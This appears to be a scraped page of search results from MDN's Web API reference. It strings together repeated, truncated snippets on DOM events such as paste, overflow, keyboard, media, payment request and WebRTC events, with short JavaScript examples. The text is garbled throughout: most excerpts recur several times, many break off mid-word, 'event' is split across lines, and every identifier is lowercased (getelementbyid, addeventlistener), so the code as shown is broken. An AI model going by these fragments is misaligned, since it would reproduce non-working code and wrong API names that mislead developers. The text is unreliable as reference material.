events are fired; the first is sent to the element which failed to change modes, and the second is sent to the document which contains that element. for some reasons that switching into full-screen mode might fail, see the guide to the fullscreen api. ...
...reenerror as with the fullscreenchange
event, two fullscreenerror
events are fired; the first is sent to the element which failed to change modes, and the second is sent to the document which contains that element. for some reasons that switching into full-screen mode might fail, see the guide to the fullscreen api. ...
...creenchange
event, two fullscreenerror
events are fired; the first is sent to the element which failed to change modes, and the second is sent to the document which contains that element. for some reasons that switching into full-screen mode might fail, see the guide to the fullscreen api. ...
... which failed to change modes, and the second is sent to the document which contains that element. for some reasons that switching into full-screen mode might fail, see the guide to the fullscreen api. ...
Element: overflow event - Web APIs
the overflow
event is fired when an element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with overflow != visible). it is a proprietary
event specific to gecko (firefox). ...
... the overflow
event is fired when an element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with overflow != visible). it is a proprietary
event specific to gecko (firefox). ...
... the overflow
event is fired when an element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with overflow != visible). it is a proprietary
event specific to gecko (firefox). ...
...e> #wrapper { width: 20px; height: 20px; background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; background: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.add
eventlistener("overflow", function(
event ) { console.log(
event ); }, false); wrapper.add
eventlistener("underflow", function(
event ) { console.log(
event ); }, false); toggle.add
eventlistener("change", function(
event ) { if (
event.target.checked ) { child.style.width = "40px"; child.style.height = "40px"; } else { child.style.width = "...
Element: paste event - Web APIs
the paste
event is fired when the user has initiated a "paste" action through the browser's user interface. bubbles yes cancelable yes interface clipboard
event event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position. a handler for this
event can access the clipboard contents by calling getdata() on the
event's clipboarddata property. ...
...with contenteditable attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position. a handler for this
event can access the clipboard contents by calling getdata() on the
event's clipboarddata property. to override the default behavior (for example to insert some different data or a transformation of the clipboard contents) an
event handler must cancel the default action using
event.pr
eventdefault(), and then insert its desired data manually. it's possible to construct and dispatch a synthetic paste
event, but this will not affect the document's contents. examples live example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting...
...example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.add
eventlistener('paste', (
event) => { let paste = (
event.clipboarddata || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste));
event.pr
eventdefault(); }); result specification...
... || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste));
event.pr
eventdefault(); }); result specifications specification status clipboard api and
events working draft ...
Element: underflow event - Web APIs
the non-standard underflow
event, which is specific to firefox, is fired when an element is no longer overflowed by its content. this only works for elements for which overflow is not set to visible. the counterpart overflow
event is fired when overflow occurs. ...
... the non-standard underflow
event, which is specific to firefox, is fired when an element is no longer overflowed by its content. this only works for elements for which overflow is not set to visible. the counterpart overflow
event is fired when overflow occurs. ...
... the non-standard underflow
event, which is specific to firefox, is fired when an element is no longer overflowed by its content. this only works for elements for which overflow is not set to visible. the counterpart overflow
event is fired when overflow occurs. ...
...e> #wrapper { width: 20px; height: 20px; background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; background: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.add
eventlistener("overflow", function(
event ) { console.log(
event ); }, false); wrapper.add
eventlistener("underflow", function(
event ) { console.log(
event ); }, false); toggle.add
eventlistener("change", function(
event ) { if (
event.target.checked ) { child.style.width = "40px"; child.style.height = "40px"; } else { child.style.width = "...
Event.explicitOriginalTarget - Web APIs
the explicit original target of the
event. (mozilla-specific) if the
event was retargeted for some reason other than an anonymous boundary crossing, this will be set to the target before the retargeting occurs. for example, mouse
events are retargeted to their parent node when they happen over text nodes (see bug 185889), and in that case currenttarget will show the parent and explicitoriginaltarget will show the text node. explicitoriginaltarget differs from originaltarget in that it will never contain anonymous content. example this property can be used with <command> to get the
event details of the original object calling the command. function mycommand(ev) { alert(ev.explicitoriginaltarget.nodename); // returns 'menuitem' } <xul:command id="my-cmd-anaction" oncommand="mycommand(e...
...ing the command. ...
.... ...
...mmand(ev) { alert(ev.explicitoriginaltarget.nodename); // returns 'menuitem' } <xul:command id="my-cmd-anaction" oncommand="mycommand(
event);"/> <xul:menulist> <xul:menupopup> <xul:menuitem label="get my element name!" command="my-cmd-anaction"/> </xul:menupopup> </menulist> specifications this is a mozilla-specific property. defined in /dom/public/idl/
events/nsidomns
event.idl this
event property is not defined in the w3.org dom level 2
events ...
Event.timeStamp - Web APIs
the timestamp read-only property of the
event interface returns the time (in milliseconds) at which the
event was created. note: this property only works if the
event system supports it for the particular
event. syntax time =
event.timestamp; value this value is the number of milliseconds elapsed from the beginning of the current document's lifetime till the
event was created. in newer implementations, the value is a domhighrestimestamp accurate to 5 microseconds (0.005 ms). in older implementations, the value is a domtimestamp, accurate to a millisecond. example html <p> focus this iframe and press any key to get the current timestamp for the keypress
event. ...
...ll the
event was created. in newer implementations, the value is a domhighrestimestamp accurate to 5 microseconds (0.005 ms). in older implementations, the value is a domtimestamp, accurate to a millisecond. example html <p> focus this iframe and press any key to get the current timestamp for the keypress
event. </p> <p>timestamp: <span id="time">-</span></p> javascript function gettime(
event) { var time = document.getelementbyid("time"); time.firstchild.nodevalue =
event.timestamp; } document.body.add
eventlistener("keypress", gettime); result reduced time precision to offer protection against timing attacks and fingerprinting, the precision of
event.timestamp might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled ...
...
eventlistener("keypress", gettime); result reduced time precision to offer protection against timing attacks and fingerprinting, the precision of
event.timestamp might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60
event.timestamp; // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resistfingerprinting` enabled
event.timestamp; // 1519129853500 // 1519129858900 // 1519129864400 // ... in firefox, if you also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is...
...rivacy.resistfingerprinting` enabled
event.timestamp; // 1519129853500 // 1519129858900 // 1519129864400 // ... in firefox, if you also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. specifications specification status comment domthe definition of '
event.timestamp' in that specification. living standard ...
EventListener - Web APIs
the
eventlistener interface represents an object that can handle an
event dispatched by an
eventtarget object. note: due to the need for compatibility with legacy content,
eventlistener accepts both a function and an object with a handle
event() property function. this is shown in the example below. properties this interface neither implements, nor inherits, any properties. methods this interface doesn't inherit any methods.
eventlistener.handle
event() a function that is called whenever an
event of the specified type occurs. example html <button id="btn">click here!</button> javascript const buttonelement = document.getelementbyid('btn'); // add a handler for the 'click'
event by providing a callback function. // whenever the element is clicked, a pop-up with "element clicked!
...ventlistener.handle
event() a function that is called whenever an
event of the specified type occurs. example html <button id="btn">click here!</button> javascript const buttonelement = document.getelementbyid('btn'); // add a handler for the 'click'
event by providing a callback function. // whenever the element is clicked, a pop-up with "element clicked!" will // appear. buttonelement.add
eventlistener('click', function (
event) { alert('element clicked through function!'); }); // for compatibility, a non-function object with a `handle
event` property is // treated just the same as a function itself. ...
...handler for the 'click'
event by providing a callback function. // whenever the element is clicked, a pop-up with "element clicked!" will // appear. buttonelement.add
eventlistener('click', function (
event) { alert('element clicked through function!'); }); // for compatibility, a non-function object with a `handle
event` property is // treated just the same as a function itself. buttonelement.add
eventlistener('click', { handle
event: function (
event) { alert('element clicked through handle
event property!'); } }); result see also: add
eventlistener specifications specification status comment domthe definition of '
eventlistener' in that specification. living standard no change. ...
... buttonelement.add
eventlistener('click', { handle
event: function (
event) { alert('element clicked through handle
event property!'); } }); result see also: add
eventlistener specifications specification status comment domthe definition of '
eventlistener' in that specification. living standard no change. document object model (dom) level 2
events specificationthe definition of '
eventlistener' in that specification. obsolete initial definition. ...
EventSource.withCredentials - Web APIs
specifications specification status comment html living standardthe definition of 'withcredentials' in that specification. ...
... specifications specification status comment html living standardthe definition of 'withcredentials' in that specification. ...
... specifications specification status comment html living standardthe definition of 'withcredentials' in that specification. ...
... specifications specification status comment html living standardthe definition of 'withcredentials' in that specification. ...
FetchEvent.client - Web APIs
the fetch
event.client read-only property returns the client that the current service worker is controlling. note: this feature has been deprecated, with its functionality replaced by fetch
event.clientid and clients.get(). see this github issue for discussion/background. syntax var myclient = fetch
event.client; value a client object. ...
... the fetch
event.client read-only property returns the client that the current service worker is controlling. note: this feature has been deprecated, with its functionality replaced by fetch
event.clientid and clients.get(). see this github issue for discussion/background. syntax var myclient = fetch
event.client; value a client object. ...
... the fetch
event.client read-only property returns the client that the current service worker is controlling. note: this feature has been deprecated, with its functionality replaced by fetch
event.clientid and clients.get(). see this github issue for discussion/background. syntax var myclient = fetch
event.client; value a client object. ...
...client read-only property returns the client that the current service worker is controlling. note: this feature has been deprecated, with its functionality replaced by fetch
event.clientid and clients.get(). ...
FontFaceSetLoadEvent - Web APIs
working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nochrome android full support 35firefox android full support yesopera android full support 22safari ios ? samsung internet android full support 3.0fontfacesetload
event() constructor experimentalchrome full support 57edge full support ≤79firefox ? ie ? opera full support 44safari ? webview android no support ...
GamepadEvent - Web APIs
the gamepad
event interface of the gamepad api contains references to gamepads connected to the system, which is what the gamepad
events window.gamepadconnected and window.gamepaddisconnected are fired in response to. constructor gamepad
event() returns a new gamepad
event object. properties gamepad
event.gamepad read only returns a gamepad object, providing access to the associated gamepad data for the
event fired. examples the gamepad property being called on a fired window.gamepadconnected
event. window.add
eventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s. %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); }); and on a window.gamepaddisconnected
event. ...
...d gamepad data for the
event fired. examples the gamepad property being called on a fired window.gamepadconnected
event. window.add
eventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s. %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); }); and on a window.gamepaddisconnected
event. window.add
eventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); }); specifications specification status comment gamepadthe definition of 'gamepad
event' in that specification. working draft initial definition browser compatibility desktopmobilechromeedgefirefoxinternet exploreroperasafari...
....gamepad.index, e.gamepad.id); }); specifications specification status comment gamepadthe definition of 'gamepad
event' in that specification. ...
...droid full support 22 full support 22 no support 14 — 21prefixed prefixed implemented with the vendor prefix: webkitsafari ios full support 10.3samsung internet android full support yesgamepad
event() constructorchrome full support 35edge full support 12firefox full support 29 full support 29 no support 24 — 28disabled disabled from version 24 until version 28 (exclusive): this feature i...
HTMLMediaElement: pause event - Web APIs
the pause
event is sent when a request to pause an activity is handled and the activity has entered its paused state, most commonly after the media has been paused through a call to the element's pause() method. the
event is sent once the pause() method returns and after the media element's paused property has been changed to true. general info bubbles no cancelable no interface
event target element default action none
event handler property global
eventhandlers.onpause specification html5 media examples these examples add an
event listener for the htmlmediaelement's pause
event, then post a message when that
event handler has reacted to the
event firing. ...
... no cancelable no interface
event target element default action none
event handler property global
eventhandlers.onpause specification html5 media examples these examples add an
event listener for the htmlmediaelement's pause
event, then post a message when that
event handler has reacted to the
event firing. using add
eventlistener(): const video = document.queryselector('video'); video.add
eventlistener('pause', (
event) => { console.log('the boolean paused property is now true. ...
... the htmlmediaelement's pause
event, then post a message when that
event handler has reacted to the
event firing. using add
eventlistener(): const video = document.queryselector('video'); video.add
eventlistener('pause', (
event) => { console.log('the boolean paused property is now true. either the ' + 'pause() method was called or the autoplay attribute was toggled.'); }); using the onpause
event handler property: const video = document.queryselector('video'); video.onpause = (
event) => { console.log('the boolean paused property is now true. either the ' + 'pause() method was called or the autoplay attribute was toggled.'); }; specifications specification status html living standardthe definition of 'pause media
event' in that specification. living stan...
...lector('video'); video.onpause = (
event) => { console.log('the boolean paused property is now true. either the ' + 'pause() method was called or the autoplay attribute was toggled.'); }; specifications specification status html living standardthe definition of 'pause media
event' in that specification. living standard html5the definition of 'pause media
event' in that specification. recommendation ...
HTMLMediaElement: playing event - Web APIs
the playing
event is fired when playback is ready to start after having been paused or delayed due to lack of data. bubbles no cancelable no interface
event target element default action none
event handler property global
eventhandlers.onplaying specification html5 media examples these examples add an
event listener for the htmlmediaelement's playing
event, then post a message when that
event handler has reacted to the
event firing. ...
... cancelable no interface
event target element default action none
event handler property global
eventhandlers.onplaying specification html5 media examples these examples add an
event listener for the htmlmediaelement's playing
event, then post a message when that
event handler has reacted to the
event firing. ...
...lement default action none
event handler property global
eventhandlers.onplaying specification html5 media examples these examples add an
event listener for the htmlmediaelement's playing
event, then post a message when that
event handler has reacted to the
event firing. using add
eventlistener(): const video = document.queryselector('video'); video.add
eventlistener('playing', (
event) => { console.log('video is no longer paused'); }); using the onplaying
event handler property: const video = document.queryselector('video'); video.onplaying = (
event) => { console.log('video is no longer paused.'); }; specifications specification status html living standardthe definition of 'playing media
event' in that specification. ...
... paused'); }); using the onplaying
event handler property: const video = document.queryselector('video'); video.onplaying = (
event) => { console.log('video is no longer paused.'); }; specifications specification status html living standardthe definition of 'playing media
event' in that specification. living standard html5the definition of 'playing media
event' in that specification. recommendation ...
InstallEvent.activeWorker - Web APIs
the activeworker read-only property of the install
event interface returns the serviceworker that is currently actively controlling the page. this will return null if no active worker is already controlling the page. syntax var myactiveworker =
event.activeworker value a serviceworker object. ...
... the activeworker read-only property of the install
event interface returns the serviceworker that is currently actively controlling the page. this will return null if no active worker is already controlling the page. syntax var myactiveworker =
event.activeworker value a serviceworker object. ...
... the activeworker read-only property of the install
event interface returns the serviceworker that is currently actively controlling the page. this will return null if no active worker is already controlling the page. syntax var myactiveworker =
event.activeworker value a serviceworker object. ...
... the activeworker read-only property of the install
event interface returns the serviceworker that is currently actively controlling the page. this will return null if no active worker is already controlling the page. syntax var myactiveworker =
event.activeworker value a serviceworker object. ...
KeyboardEvent() - Web APIs
the keyboard
event() constructor creates a new keyboard
event. syntax
event = new keyboard
event(typearg, keyboard
eventinit); values typearg is a domstring representing the name of the
event. keyboard
eventinitoptional is a keyboard
eventinit dictionary, having the following fields: "key", optional and defaulting to "", of type domstring, that sets the value of keyboard
event.key. "code", optional and defaulting to "", of type domstring, that sets the value of keyboard
event.code. "location", optional and defaulting to 0, of type unsigned long, that sets the value of keyboard
event.location. "ctrlkey", optional and defaulting to false, of type boolean, that sets the value of keyboard
event.ctrlkey. "shiftkey", optional and defaulting to false, of type boolean, that sets the va...
...defaulting to "", of type domstring, that sets the value of keyboard
event.code. "location", optional and defaulting to 0, of type unsigned long, that sets the value of keyboard
event.location. "ctrlkey", optional and defaulting to false, of type boolean, that sets the value of keyboard
event.ctrlkey. "shiftkey", optional and defaulting to false, of type boolean, that sets the value of keyboard
event.shiftkey. "altkey", optional and defaulting to false, of type boolean, that sets the value of keyboard
event.altkey. "metakey", optional and defaulting to false, of type boolean, that sets the value of keyboard
event.metakey. "repeat", optional and defaulting to false, of type boolean, that sets the value of keyboard
event.repeat. "iscomposing", optional and defaulting to false, of type bool...
...defaulting to false, of type boolean, that sets the value of keyboard
event.altkey. "metakey", optional and defaulting to false, of type boolean, that sets the value of keyboard
event.metakey. "repeat", optional and defaulting to false, of type boolean, that sets the value of keyboard
event.repeat. "iscomposing", optional and defaulting to false, of type boolean, that sets the value of keyboard
event.iscomposing. "charcode", optional and defaulting to 0, of type unsigned long, that sets the value of the deprecated keyboard
event.charcode. "keycode", optional and defaulting to 0, of type unsigned long, that sets the value of the deprecated keyboard
event.keycode. "which", optional and defaulting to 0, of type unsigned long, that sets the value of the deprecated keyboard
event.which. t...
...g. "charcode", optional and defaulting to 0, of type unsigned long, that sets the value of the deprecated keyboard
event.charcode. "keycode", optional and defaulting to 0, of type unsigned long, that sets the value of the deprecated keyboard
event.keycode. "which", optional and defaulting to 0, of type unsigned long, that sets the value of the deprecated keyboard
event.which. the keyboard
eventinit dictionary also accepts fields from the ui
eventinit and
eventinit dictionaries. specifications specification status comment ui
eventsthe definition of 'keyboard
event()' in that specification. working draft current definition. document object model (dom) level 3
events specificationthe definition of 'keyboard
event()' in that specification. o...
KeyboardEvent.keyCode - Web APIs
the deprecated keyboard
event.keycode read-only property represents a system and implementation dependent numerical code identifying the unmodified value of the pressed key. this is usually the decimal ascii (rfc 20) or windows 1252 code corresponding to the key. if the key can't be identified, this value is 0. you should avoid using this if possible; it's been deprecated for some time. instead, you should use keyboard
event.code, if it's implemented. unfortunately, some browsers still don't have it, so you'll have to be careful to make sure you use one which is supported on all target browsers. web developers shouldn't use the keycode attribute for printable characters when handling keydown and keyup
events. as described above, the keycode attribute is not useful for printable characters, ...
...have to be careful to make sure you use one which is supported on all target browsers. web developers shouldn't use the keycode attribute for printable characters when handling keydown and keyup
events. as described above, the keycode attribute is not useful for printable characters, especially those input with the shift or alt key pressed. when implementing a shortcut key handler, the keypress
event is usually better (at least when gecko is the runtime in use). see gecko keypress
event for details. ...
...e attribute for printable characters when handling keydown and keyup
events. as described above, the keycode attribute is not useful for printable characters, especially those input with the shift or alt key pressed. when implementing a shortcut key handler, the keypress
event is usually better (at least when gecko is the runtime in use). see gecko keypress
event for details. example window.add
eventlistener("keydown", function (
event) { if (
event.defaultpr
evented) { return; // should do nothing if the default action has been cancelled } var handled = false; if (
event.key !== undefined) { // handle the
event with keyboard
event.key and set handled true. } else if (
event.keycode !== undefined) { // handle the
event with keyboard
event.keycode and set handled true. } i...
...t.defaultpr
evented) { return; // should do nothing if the default action has been cancelled } var handled = false; if (
event.key !== undefined) { // handle the
event with keyboard
event.key and set handled true. } else if (
event.keycode !== undefined) { // handle the
event with keyboard
event.keycode and set handled true. } if (handled) { // suppress "double action" if
event handled
event.pr
eventdefault(); } }, true); specifications specification status comment document object model (dom) level 3
events specificationthe definition of 'keyboard
event.keycode' in that specification. obsolete initial definition; specified as deprecated ...
MediaRecorder: dataavailable event - Web APIs
the mediarecorder interface's dataavailable
event is fired when the mediarecorder delivers media data to your application for its use. bubbles no cancelable no interface blob
event event handler property ondataavailable for details of the all the possible reasons this
event may raise, see the documentation for the
event handler property: ondataavailable. examples using add
eventlistener to listen for dataavailable
events: ... ...
...or its use. bubbles no cancelable no interface blob
event event handler property ondataavailable for details of the all the possible reasons this
event may raise, see the documentation for the
event handler property: ondataavailable. examples using add
eventlistener to listen for dataavailable
events: ... ...
...ubbles no cancelable no interface blob
event event handler property ondataavailable for details of the all the possible reasons this
event may raise, see the documentation for the
event handler property: ondataavailable. examples using add
eventlistener to listen for dataavailable
events: ... ...
...[]; mediarecorder.add
eventlistener('stop', (
event) => { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); }); mediarecorder.add
eventlistener('dataavailable', (
event) => { chunks.push(
event.data); }); ... the same, but using the ondataavailable
event handler property: ... var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codec...
MediaRecorderErrorEvent() - Web APIs
it must contain the error property at a minimum. error a domexception that describes the error that occurred. this object's name property should indicate the name of the error that occurred. the other fields may or may not be present. ...
...it must contain the error property at a minimum. error a domexception that describes the error that occurred. this object's name property should indicate the name of the error that occurred. the other fields may or may not be present. ...
...it must contain the error property at a minimum. error a domexception that describes the error that occurred. this object's name property should indicate the name of the error that occurred. the other fields may or may not be present. ...
... working draft initial definition. ...
MediaStreamTrack: ended event - Web APIs
the ended
event of the mediastreamtrack interface is fired when playback or streaming has stopped because the end of the media was reached or because no further data is available. bubbles no cancelable no interface
event event handler property mediastreamtrack.onended usage notes ended
events fire when the media stream track's source permanently stops sending data on the stream. there are various ways this can happen, including: there is no more data left to send. the user revoked the permissions needed for the data to be sent. the hardware generating the source data has been removed or ejected. a remote peer has permanently stopped sending data; pausing media does not generate an ended
event. examples this example sets up an ev...
... stream. there are various ways this can happen, including: there is no more data left to send. the user revoked the permissions needed for the data to be sent. the hardware generating the source data has been removed or ejected. a remote peer has permanently stopped sending data; pausing media does not generate an ended
event. ...
.... the user revoked the permissions needed for the data to be sent. the hardware generating the source data has been removed or ejected. a remote peer has permanently stopped sending data; pausing media does not generate an ended
event. examples this example sets up an
event handler for the ended
event, which changes an on-screen icon to indicate that the track is no longer active. ...
...tly stopped sending data; pausing media does not generate an ended
event. examples this example sets up an
event handler for the ended
event, which changes an on-screen icon to indicate that the track is no longer active. track.add
eventlistener('ended', () => { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; }) you can also set up the
event handler using the mediastreamtrack.onended property: track.onended = function() { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definition of 'ended' in that specification. candidate recommendation initial specification. ...
MessageEvent.ports - Web APIs
otherwise called implicitly by onmessage setter. ...
...otherwise called implicitly by onmessage setter. ...
...otherwise called implicitly by onmessage setter. } specifications specification status comment html living standardthe definition of 'ports' in that specification. ...
...otherwise called implicitly by onmessage setter. ...
MouseScrollEvent - Web APIs
the mousescroll
event interface represents
events that occur due to the user moving a mouse wheel or similar input device. do not use this interface for wheel
events. like mousewheel
event, this interface is non-standard and deprecated. it was used in gecko-based browsers only. instead use the standard wheel
event. ...
... the mousescroll
event interface represents
events that occur due to the user moving a mouse wheel or similar input device. do not use this interface for wheel
events. like mousewheel
event, this interface is non-standard and deprecated. it was used in gecko-based browsers only. instead use the standard wheel
event. ...
... wheel
event. method overview void initmousescroll
event(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidom
eventtarget relatedtargetarg, in long axis); attributes attribute type description axis read only long indicates scroll direction. constants delta modes constant value description horizontal_axis 0x01 the
event is caused by horizontal wheel operation. ...
...igned short buttonarg, in nsidom
eventtarget relatedtargetarg, in long axis); attributes attribute type description axis read only long indicates scroll direction. constants delta modes constant value description horizontal_axis 0x01 the
event is caused by horizontal wheel operation. vertical_axis 0x02 the
event is caused by vertical wheel operation. methods initmousescroll
event() see nsidommousescroll
event::initmousescroll
event(). ...
PaymentRequest: shippingaddresschange event - Web APIs
the shippingaddresschange
event is sent to the paymentrequest object when the user selects a shipping address or changes details of their shipping address. bubbles no cancelable no interface paymentrequestupdate
event event handler property onshippingaddresschange usage notes depending on the browser, the shipping address information may be redacted for privacy reasons. that is, the paymentaddress which contains the shipping address may have some portions of its content altered, obscured, or left out entirely in order to pr
event identifying the user without their consent (since if they choose to have you ship products to them, you'll need their address). ...
...ation may be redacted for privacy reasons. that is, the paymentaddress which contains the shipping address may have some portions of its content altered, obscured, or left out entirely in order to pr
event identifying the user without their consent (since if they choose to have you ship products to them, you'll need their address). example in this example, a handler for the shippingaddresschange
event is set up to validate that the address meets requirements set by the web application. ...
...in order to pr
event identifying the user without their consent (since if they choose to have you ship products to them, you'll need their address). example in this example, a handler for the shippingaddresschange
event is set up to validate that the address meets requirements set by the web application. const paymentrequest = new paymentrequest(methoddata, details, options); paymentrequest.add
eventlistener("shippingaddresschange",
event => { let detailsupdate = checkaddress(paymentrequest.shippingaddress);
event.updatewith(detailsupate); }, false); const checkaddress = theaddress => { let detailsupdate = {}; // check the address, return a paymentdetailsupdate object // with any changes or errors. return detailsupdate; }; you can also establish a handler for shippingaddressc...
...=> { let detailsupdate = checkaddress(paymentrequest.shippingaddress);
event.updatewith(detailsupate); }, false); const checkaddress = theaddress => { let detailsupdate = {}; // check the address, return a paymentdetailsupdate object // with any changes or errors. return detailsupdate; }; you can also establish a handler for shippingaddresschange using the onshippingaddresschange
event handler property: paymentrequest.onshippingaddresschange =
event => { let detailsupdate = checkaddress(paymentrequest.shippingaddress);
event.updatewith(detailsupdate); }; specifications specification status comment payment request apithe definition of 'shippingaddresschange' in that specification. candidate recommendation initial definition. ...
PointerEvent.pressure - Web APIs
the pressure read-only property of the pointer
event interface indicates the normalized pressure of the pointer input. syntax var pressure = pointer
event.pressure; return value pressure the normalized pressure of the pointer input in the range of 0 to 1, inclusive, where 0 and 1 represent the minimum and maximum pressure the hardware is capable of detecting, respectively. for hardware that does not support pressure, such as a mouse, the value is 0.5 when the pointer is active buttons state and 0 otherwise. example in this snippet, when a pointerdown
event is fired, different functions are called depending on the value of the
event's pressure property. ...
... represent the minimum and maximum pressure the hardware is capable of detecting, respectively. for hardware that does not support pressure, such as a mouse, the value is 0.5 when the pointer is active buttons state and 0 otherwise. example in this snippet, when a pointerdown
event is fired, different functions are called depending on the value of the
event's pressure property. ...
...ssure the hardware is capable of detecting, respectively. for hardware that does not support pressure, such as a mouse, the value is 0.5 when the pointer is active buttons state and 0 otherwise. example in this snippet, when a pointerdown
event is fired, different functions are called depending on the value of the
event's pressure property. someelement.add
eventlistener('pointerdown', function(
event) { if (
event.pressure == 0) { // no pressure process_no_pressure(
event); } else if (
event.pressure == 1) { // maximum pressure process_max_pressure(
event); } else { // default process_pressure(
event); } }, false); specifications specification status comment pointer
events – level 2the definition of 'pressure' in that specification. r...
... process_no_pressure(
event); } else if (
event.pressure == 1) { // maximum pressure process_max_pressure(
event); } else { // default process_pressure(
event); } }, false); specifications specification status comment pointer
events – level 2the definition of 'pressure' in that specification. recommendation non-stable version. pointer
eventsthe definition of 'pressure' in that specification. obsolete initial definition. ...
RTCDTMFSender: tonechange event - Web APIs
the tonechange
event is sent to an rtcdtmfsender by the webrtc api to indicate when dtmf tones previously queued for sending (by calling rtcdtmfsender.insertdtmf()) begin and end. bubbles no cancelable no interface rtcdtmftonechange
event event handler property ontonechange to determine what tone started playing, or if a tone stopped playing, check the value of the
event's tone property. examples this example establishes a handler for the tonechange
event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>". ...
...
event handler property ontonechange to determine what tone started playing, or if a tone stopped playing, check the value of the
event's tone property. examples this example establishes a handler for the tonechange
event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>". ...
... ontonechange to determine what tone started playing, or if a tone stopped playing, check the value of the
event's tone property. examples this example establishes a handler for the tonechange
event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>". ...
...es an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>". this can be done using add
eventlistener(): dtmfsender.add
eventlistener("tonechange", ev => { let tone = ev.tone; if (tone === "") { tone = "<none>"; } document.getelementbyid("playingtone").innertext = tone; }, false); you can also just set the ontonechange
event handler property directly: dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "<none>" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'tonechange' in that specification. candidate rec...
RTCPeerConnection: icecandidateerror event - Web APIs
there is one additional, webrtc-specific, error which lies outside the valid stun error code range: 701. error 701 indicates that none of the ice candidates were able to successfully make contact with the stun or turn server. ...
...there is one additional, webrtc-specific, error which lies outside the valid stun error code range: 701. error 701 indicates that none of the ice candidates were able to successfully make contact with the stun or turn server. ...
...there is one additional, webrtc-specific, error which lies outside the valid stun error code range: 701. error 701 indicates that none of the ice candidates were able to successfully make contact with the stun or turn server. ...
...thering. example the following example establishes a handler for icecandidateerrors that occur on the rtcpeerconnection pc. this handler looks specifically for 701 errors that indicate that candidates couldn't reach the stun or turn server. when this happens, the server url and the error message are passed to a function called reportconnectfail() to log or output the connection failure. pc.add
eventlistener("icecandidateerror", (
event) => { if (
event.errorcode === 701) { reportconnectfail(
event.url,
event.errortext); } }); note that if multiple stun and/or turn servers are provided when creating the connection, this error may happen more than once, if more than one of those servers fails. each provided server is tried until a connection is established. specifications spe...
SVGElement: zoom event - Web APIs
the zoom
event occurs when the user initiates an action which causes the current view of the svg document fragment to be rescaled. ...
... the zoom
event occurs when the user initiates an action which causes the current view of the svg document fragment to be rescaled. ...
... the zoom
event occurs when the user initiates an action which causes the current view of the svg document fragment to be rescaled. ...
...nitiates an action which causes the current view of the svg document fragment to be rescaled. ...
SVGGraphicsElement: cut event - Web APIs
the cut
event is fired on an svggraphicselement when the user has initiated a "cut" action through the browserʼs user interface. if the user attempts a cut action on uneditable content, the cut
event still fires but the
